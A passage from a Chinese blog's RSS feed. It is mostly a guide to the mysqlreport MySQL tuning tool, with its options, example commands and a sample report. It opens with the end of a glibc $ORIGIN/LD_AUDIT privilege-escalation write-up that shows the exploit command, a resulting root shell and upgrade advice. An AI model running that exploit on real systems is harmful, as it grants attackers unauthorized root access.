LD_AUDIT="&#92;$ORIGIN" exec /proc/self/fd/3<br/>sh-4.1# whoami<br/>root<br/>sh-4.1# id<br/>uid=0(root) gid=500(taviso)<br/>漏洞解决方法(这是由GCC引发的一个漏洞):<br/>升级:glibc<br/>Tags - <a href="http://www.yy520.net/tags/gcc/" rel="tag">gcc</a>
]]>
</description>
</item><item>
<link>http://www.yy520.net/articles/288/</link>
<title><![CDATA[mysqlreport使用指南]]></title> 
<author>zzh &lt;zzhcool@126.com&gt;</author>
<category><![CDATA[MySQL调优]]></category>
<pubDate>Sun, 27 Mar 2011 11:49:54 +0000</pubDate> 
<guid>http://www.yy520.net/articles/288/</guid> 
<description>
<![CDATA[ 
	<div><p>进行MySQL的配置优化，首先必须找出MySQL的性能瓶颈所在；而SHOW STATUS输出的报告正是用来计算性能瓶颈的参考数据。mysqlreport不像SHOW STATUS那样简单的罗列数据，而是对这些参考数据加以融合计算，整理成一个个<font style="color: #daa520">优化参考点</font>，然后DBA就可以根据这个优化参考点的值以及<font style="color: #daa520">该点的衡量标准</font>，进行对应调整。这篇文章既不分析mysqlreport的报告含义，也不说明优化参考点的计算公式和原理，只简单描述使用方法。后面再逐次深入分析。</p><p><font style="color: #1d76c8; font-weight: bold">mysqlreport主页和下载地址</font><br />web site:<a target="_blank" href="http://blog.chinaunix.net/link.php?url=http://hackmysql.com%2Fmysqlreport"><font color="#2970a6"><a href="http://hackmysql.com/mysqlreport" target="_blank">http://hackmysql.com/mysqlreport</a></font></a><br />download:<a href="http://hackmysql.com/scripts/mysqlreport" target="_blank">http://hackmysql.com/scripts/mysqlreport</a></p><p><strong><font color="#1d76c8">yum install perl-DBD-MySQL</font></strong></p><p><font style="color: #1d76c8; font-weight: bold">mysqlreport命令行选项参数</font></p><p><font style="color: #1d76c8; font-weight: bold">linux-8tpn:/home/kevin/perl # perl mysqlreport&nbsp; --help<br />mysqlreport v3.5 Apr 16 2008<br />mysqlreport makes an easy-to-read report of important MySQL status values.<br />Command line options (abbreviations work):<br />&nbsp;&nbsp; --user USER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Connect to MySQL as USER<br />&nbsp;&nbsp; --password PASS&nbsp;&nbsp; Use PASS or prompt for MySQL user's password<br />&nbsp;&nbsp; --host ADDRESS&nbsp;&nbsp;&nbsp; Connect to MySQL at ADDRESS<br />&nbsp;&nbsp; --port PORT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Connect to MySQL at PORT<br />&nbsp;&nbsp; --socket SOCKET&nbsp;&nbsp; Connect to MySQL at SOCKET<br />&nbsp;&nbsp; --no-mycnf&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Don't read ~/.my.cnf<br />&nbsp;&nbsp; --infile FILE&nbsp;&nbsp;&nbsp;&nbsp; Read status values from FILE instead of MySQL<br />&nbsp;&nbsp; --outfile FILE&nbsp;&nbsp;&nbsp; Write report to FILE<br />&nbsp;&nbsp; --email ADDRESS&nbsp;&nbsp; Email report to ADDRESS (doesn't work on Windows)<br />&nbsp;&nbsp; --flush-status&nbsp;&nbsp;&nbsp; Issue FLUSH STATUS; after getting current values<br />&nbsp;&nbsp; --relative X&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Generate relative reports. If X is an integer,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; reports are live from the MySQL server X seconds apart.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If X is a list of infiles (file1 file2 etc.),<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; reports are generated from the infiles in the order<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that they are given.<br />&nbsp;&nbsp; --report-count N&nbsp; Collect N number of live relative reports (default 1)<br />&nbsp;&nbsp; --detach&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fork and detach from terminal (run in background)<br />&nbsp;&nbsp; --help&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Prints this<br />&nbsp;&nbsp; --debug&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Print debugging information<br />Visit <a href="http://hackmysql.com/mysqlreport"><a href="http://hackmysql.com/mysqlreport" target="_blank">http://hackmysql.com/mysqlreport</a></a> for more information</font></p><p><font style="color: #1d76c8; font-weight: bold">选项 解释 <br />- -user 连接MySQL的用户名 <br />- -password 连接MySQL的用户密码。命令行上出现该选项但没有给出参数时，mysqlreport将在用户回车后提示输入密码 <br />- -host MySQL服务器地址 <br />- -port MySQL服务器的开发端口 <br />- -socket 本地MySQL UNIX域套接口路径 <br />- -no-mycnf 该选项指引mysqlreport不要读取 ~/.my.cnf，默认情况下会去读取这个文件。- -user 和 - -password 总是覆盖从 ~/.my.cnf 中取得的参数 <br />- -infile 从status文件读取数据，代替从服务器上读取 <br />- -outfile 打印报告后，将报告同时写入该选项指定的文件中。mysqlreport 的内部机制总是先将报告写入临时文件中，然后将该临时文件里的内容打印到屏幕上。如果指定了- -outfile选项，则将临时文件拷贝成 指定的文件。如果指定了选项- -email，则会删除临时文件 <br />- -email 打印报告后，将结果发送到指定的邮箱。该选项需要使用/usr/sbin/目录下的sendmail程序，因此无法在windows 平台下使用。/usr/sbin/sendmail可以符号链接到 qmail，或者任何其他能模拟sendmail -t方式的MTA程序。邮件来源是：mysqlreport，主题是：MySQL status report on HOST，HOST是mysqlreport所在的主机名，可能是读取到的- -host值，默认是localhost <br />- -flush-status 打印报告后，运行FLUSH STATUS命令 <br />- -relative mysqlreport通常产生从MySQL启动以来的状态报告。指定- -relative选项可产生相对于前次报告以来的相关报告。 <br />如果选项参数是一个整数，程序每隔指定的秒数后再次产生一份状态报告，报告次数由- -report-count选项指定。默认产生1份相关报告。例如，指定- -relative的值为60，则会产生2份报告：第一份基本报告马上生成，第二份相关报告在60秒后生成。第二份报告中的数值和前面的那份相关。例如，前者总共有10.00k次查询，在这60秒的间隔时间里接受了新的1.00k次查询，则后者的总查询次数是1.00k而非11.00k次。</font></p><p><font style="color: #1d76c8; font-weight: bold">如果选项参数是本地文件列表（就像- -infile选项那样），程序会按照参数中文件的顺序来依次产生状态报告。文件列表中的文件应该以空格分隔。以文件产生时间依次排列文件就显得很重要，较早产生的文件应该放在列表的前面。第一个文件中必须有系统变量，例如：key_buffer_size、table_cache 等。每个文件中可以有多组&rdquo;SHOW STATUS&rdquo;的结果。注意：通过 &ldquo;mysqladmin -r -i N extended&rdquo; 产生的状态文件无法使用，因为 mysqladmin的-r参数已经令其产生了具有相对性的状态值了。</font></p><p><font style="color: #1d76c8; font-weight: bold">由于mysqlreport首先会把状态报告写到临时文件中，如果- -relative的参数是整数时，mysqlreport会显示它把文件写到哪了。那么就可以直接通过查看这些文件内容来观察服务器的状况<br />&nbsp;<br />- -report-count 生成N份相关的报告。本选项只有在同时启用- -relative选项后才有效。mysqlreport会自动产生N+1份报告：第一份基本报告，以及后面的N份相关报告 <br />- -detach 本选项使得mysqlreport派生新进程，从终端上脱离转入后台继续运行。派生新进程后，mysqlreport 会报告它把结果写入了哪个临时文件。本选项需要- -outfile或- -email中的一个，如果这两个选项都没有给出，则产生的临时文件就会被删除，因为自派生出新进程后，无法再将结果打印到终端屏幕上了。本选项如果和- -relative选项一起使用的话就更有意义了，这样mysqlreport就能定时报告信息，而无需人工干预获得报告。例如使用如下命令，就能让mysqlrepot隔一个小时再次产生一次报告，并将结果发送到指定的信箱：perl mysqlreport - -relative=3600 - -detach - <a href="mailto:-email=host@domain.com">-email=host@domain.com</a>。一个小时候后，mysqlreport通过email发送报告，删除临时文件，并且干净地终止 <br />- -help 打印帮助信息 <br />- -debug 打印调试信息 </font></p><p><font style="margin-top: 20px; color: #1d76c8; font-weight: bold">使用mysqlreport的简单例子</font><br />1.连接远程数据库192.168.12.14<br />perl mysqlreport - -host=192.168.12.14 - -user=db_user - -password=db_user_password</p><p>2.通过本地UNIX域套接口文件/data/mysql_data/mysql.sock连接本地数据库<br />perl mysqlreport - -user=root - -password=root_password - -socket=/data/mysql_data/mysql.sock</p><p>3.将输出报告写入文件/data/mysql_data/report/mysqlreport.txt<br />perl mysqlreport - -user=root - -password=root_password - -socket=/data/mysql_data/mysql.sock - -outfile=/data/mysql_data/report/mysqlreport.txt</p><p><b>报告说明：<br /># /usr/local/mysql/bin/mysqlreport --user root -password password</b></p><pre><ol class="dp-xml"><li class="alt"><span><span>Use of uninitialized value in multiplication (*) at /usr/local/mysql/bin/mysqlreport line 829.&nbsp;&nbsp;</span></span></li><li><span>Use of uninitialized value in formline at /usr/local/mysql/bin/mysqlreport line 1227.&nbsp;&nbsp;</span></li><li class="alt"><span>MySQL 5.1.34-log&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; uptime 0 1:31:10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fri Jan 15 12:39:12 2010&nbsp;&nbsp;</span></li><li><span> </span></li><li class="alt"><span>__ Key _________________________________________________________________&nbsp;&nbsp;</span></li><li><span>Buffer used&nbsp;&nbsp;&nbsp;&nbsp;12.33M of 256.00M&nbsp;&nbsp;%Used:&nbsp;&nbsp; 4.81&nbsp;&nbsp;</span></li><li class="alt"><span>&nbsp;&nbsp;Current&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;41.80M&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;%Usage:&nbsp;&nbsp;16.33&nbsp;&nbsp;</span></li><li><span>Write hit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;52.74%&nbsp;&nbsp;</span></li><li class="alt"><span>Read hit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 99.74%&nbsp;&nbsp;</span></li><li><span> </span></li><li class="alt"><span>__ Questions ___________________________________________________________&nbsp;&nbsp;</span></li><li><span>Total&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 434.70k&nbsp;&nbsp;&nbsp;&nbsp;79.5/s&nbsp;&nbsp;</span></li><li class="alt"><span>&nbsp;&nbsp;DMS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 265.94k&nbsp;&nbsp;&nbsp;&nbsp;48.6/s&nbsp;&nbsp;%Total:&nbsp;&nbsp;61.18&nbsp;&nbsp;</span></li><li><span>&nbsp;&nbsp;QC Hits&nbsp;&nbsp;&nbsp;&nbsp; 166.09k&nbsp;&nbsp;&nbsp;&nbsp;30.4/s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 38.21&nbsp;&nbsp;</span></li><li class="alt"><span>&nbsp;&nbsp;+Unknown&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.09k&nbsp;&nbsp;&nbsp;&nbsp; 0.2/s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0.25&nbsp;&nbsp;</span></li><li><span>&nbsp;&nbsp;Com_&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.08k&nbsp;&nbsp;&nbsp;&nbsp; 0.2/s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0.25&nbsp;&nbsp;</span></li><li class="alt"><span>&nbsp;&nbsp;COM_QUIT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;495&nbsp;&nbsp;&nbsp;&nbsp; 0.1/s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0.11&nbsp;&nbsp;</span></li><li><span>Slow 1 s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 89&nbsp;&nbsp;&nbsp;&nbsp; 0.0/s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0.02&nbsp;&nbsp;%DMS:&nbsp;&nbsp; 0.03&nbsp;&nbsp;Log:&nbsp;&nbsp;ON&nbsp;&nbsp;</span></li><li class="alt"><span>DMS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 265.94k&nbsp;&nbsp;&nbsp;&nbsp;48.6/s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 61.18&nbsp;&nbsp;</span></li><li><span>&nbsp;&nbsp;SELECT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;149.52k&nbsp;&nbsp;&nbsp;&nbsp;27.3/s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 34.40&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 56.22&nbsp;&nbsp;</span></li><li class="alt"><span>&nbsp;&nbsp;UPDATE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;115.33k&nbsp;&nbsp;&nbsp;&nbsp;21.1/s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 26.53&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 43.37&nbsp;&nbsp;</span></li><li><span>&nbsp;&nbsp;INSERT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;899&nbsp;&nbsp;&nbsp;&nbsp; 0.2/s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0.21&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0.34&nbsp;&nbsp;</span></li><li class="alt"><span>&nbsp;&nbsp;DELETE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;193&nbsp;&nbsp;&nbsp;&nbsp; 0.0/s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0.04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0.07&nbsp;&nbsp;</span></li><li><span>&nbsp;&nbsp;REPLACE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0.00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0.00&nbsp;&nbsp;</span></li><li class="alt"><span>Com_&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.08k&nbsp;&nbsp;&nbsp;&nbsp; 0.2/s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0.25&nbsp;&nbsp;</span></li><li><span>&nbsp;&nbsp;change_db&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 446&nbsp;&nbsp;&nbsp;&nbsp; 0.1/s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0.10&nbsp;&nbsp;</span></li><li class="alt"><span>&nbsp;&nbsp;set_option&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;396&nbsp;&nbsp;&nbsp;&nbsp; 0.1/s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0.09&nbsp;&nbsp;</span></li><li><span>&nbsp;&nbsp;show_status&nbsp;&nbsp;&nbsp;&nbsp; 115&nbsp;&nbsp;&nbsp;&nbsp; 0.0/s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0.03&nbsp;&nbsp;</span></li><li class="alt"><span> </span></li><li><span>__ SELECT and Sort _____________________________________________________&nbsp;&nbsp;</span></li><li class="alt"><span>Scan&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;190&nbsp;&nbsp;&nbsp;&nbsp; 0.0/s %SELECT:&nbsp;&nbsp; 0.13&nbsp;&nbsp;</span></li><li><span>Range&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;45.43k&nbsp;&nbsp;&nbsp;&nbsp; 8.3/s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 30.38&nbsp;&nbsp;</span></li><li class="alt"><span>Full join&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0.00&nbsp;&nbsp;</span></li><li><span>Range check&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0.00&nbsp;&nbsp;</span></li><li class="alt"><span>Full rng join&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0.00&nbsp;&nbsp;</span></li><li><span>Sort scan&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;11&nbsp;&nbsp;&nbsp;&nbsp; 0.0/s&nbsp;&nbsp;</span></li><li class="alt"><span>Sort range&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;8.39k&nbsp;&nbsp;&nbsp;&nbsp; 1.5/s&nbsp;&nbsp;</span></li><li><span>Sort mrg pass&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/s&nbsp;&nbsp;</span></li><li class="alt"><span> </span></li><li><span>__ Query Cache _________________________________________________________&nbsp;&nbsp;</span></li><li class="alt"><span>Memory usage&nbsp;&nbsp; 63.62M of 256.00M&nbsp;&nbsp;%Used:&nbsp;&nbsp;24.85&nbsp;&nbsp;</span></li><li><span>Block Fragmnt&nbsp;&nbsp; 6.68%&nbsp;&nbsp;</span></li><li class="alt"><span>Hits&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;166.09k&nbsp;&nbsp;&nbsp;&nbsp;30.4/s&nbsp;&nbsp;</span></li><li><span>Inserts&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 149.29k&nbsp;&nbsp;&nbsp;&nbsp;27.3/s&nbsp;&nbsp;</span></li><li class="alt"><span>Insrt:Prune 149.29k:1&nbsp;&nbsp;&nbsp;&nbsp;27.3/s&nbsp;&nbsp;</span></li><li><span>Hit:Insert&nbsp;&nbsp;&nbsp;&nbsp; 1.11:1&nbsp;&nbsp;</span></li><li class="alt"><span> </span></li><li><span>__ Table Locks _________________________________________________________&nbsp;&nbsp;</span></li><li class="alt"><span>Waited&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3.76k&nbsp;&nbsp;&nbsp;&nbsp; 0.7/s&nbsp;&nbsp;%Total:&nbsp;&nbsp; 1.41&nbsp;&nbsp;</span></li><li><span>Immediate&nbsp;&nbsp;&nbsp;&nbsp; 262.48k&nbsp;&nbsp;&nbsp;&nbsp;48.0/s&nbsp;&nbsp;</span></li><li class="alt"><span> </span></li><li><span>__ Tables ______________________________________________________________&nbsp;&nbsp;</span></li><li class="alt"><span>Open&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 40 of&nbsp;&nbsp;512&nbsp;&nbsp;&nbsp;&nbsp;%Cache:&nbsp;&nbsp; 7.81&nbsp;&nbsp;</span></li><li><span>Opened&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 58&nbsp;&nbsp;&nbsp;&nbsp; 0.0/s&nbsp;&nbsp;</span></li><li class="alt"><span> </span></li><li><span>__ Connections _________________________________________________________&nbsp;&nbsp;</span></li><li class="alt"><span>Max used&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;8 of&nbsp;&nbsp;500&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;%Max:&nbsp;&nbsp; 1.60&nbsp;&nbsp;</span></li><li><span>Total&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 497&nbsp;&nbsp;&nbsp;&nbsp; 0.1/s&nbsp;&nbsp;</span></li><li class="alt"><span> </span></li><li><span>__ Created Temp ________________________________________________________&nbsp;&nbsp;</span></li><li class="alt"><span>Disk table&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1&nbsp;&nbsp;&nbsp;&nbsp; 0.0/s&nbsp;&nbsp;</span></li><li><span>Table&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 144&nbsp;&nbsp;&nbsp;&nbsp; 0.0/s&nbsp;&nbsp;&nbsp;&nbsp;Size: 256.0M&nbsp;&nbsp;</span></li><li class="alt"><span>File&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;6&nbsp;&nbsp;&nbsp;&nbsp; 0.0/s&nbsp;&nbsp;</span></li><li><span> </span></li><li class="alt"><span>__ Threads _____________________________________________________________&nbsp;&nbsp;</span></li><li><span>Running&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1 of&nbsp;&nbsp;&nbsp;&nbsp;5&nbsp;&nbsp;</span></li><li class="alt"><span>Cached&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3 of&nbsp;&nbsp; 32&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;%Hit:&nbsp;&nbsp;98.39&nbsp;&nbsp;</span></li><li><span>Created&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 8&nbsp;&nbsp;&nbsp;&nbsp; 0.0/s&nbsp;&nbsp;</span></li><li class="alt"><span>Slow&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/s&nbsp;&nbsp;</span></li><li><span> </span></li><li class="alt"><span>__ Aborted _____________________________________________________________&nbsp;&nbsp;</span></li><li><span>Clients&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/s&nbsp;&nbsp;</span></li><li class="alt"><span>Connects&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;6&nbsp;&nbsp;&nbsp;&nbsp; 0.0/s&nbsp;&nbsp;</span></li><li><span> </span></li><li class="alt"><span>__ Bytes _______________________________________________________________&nbsp;&nbsp;</span></li><li><span>Sent&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;173.88M&nbsp;&nbsp; 31.8k/s&nbsp;&nbsp;</span></li><li class="alt"><span>Received&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 49.21M&nbsp;&nbsp;&nbsp;&nbsp;9.0k/s&nbsp;&nbsp;</span></li><li><span> </span></li><li class="alt"><span>__ InnoDB Buffer Pool __________________________________________________&nbsp;&nbsp;</span></li><li><span>Usage&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 304.00k of&nbsp;&nbsp; 8.00M&nbsp;&nbsp;%Used:&nbsp;&nbsp; 3.71&nbsp;&nbsp;</span></li><li class="alt"><span>Read hit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 84.81%&nbsp;&nbsp;</span></li><li><span>Pages&nbsp;&nbsp;</span></li><li class="alt"><span>&nbsp;&nbsp;Free&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;493&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;%Total:&nbsp;&nbsp;96.29&nbsp;&nbsp;</span></li><li><span>&nbsp;&nbsp;Data&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 19&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3.71 %Drty:&nbsp;&nbsp; 0.00&nbsp;&nbsp;</span></li><li class="alt"><span>&nbsp;&nbsp;Misc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0.00&nbsp;&nbsp;</span></li><li><span>&nbsp;&nbsp;Latched&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0.00&nbsp;&nbsp;</span></li><li class="alt"><span>Reads&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;79&nbsp;&nbsp;&nbsp;&nbsp; 0.0/s&nbsp;&nbsp;</span></li><li><span>&nbsp;&nbsp;From file&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;12&nbsp;&nbsp;&nbsp;&nbsp; 0.0/s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 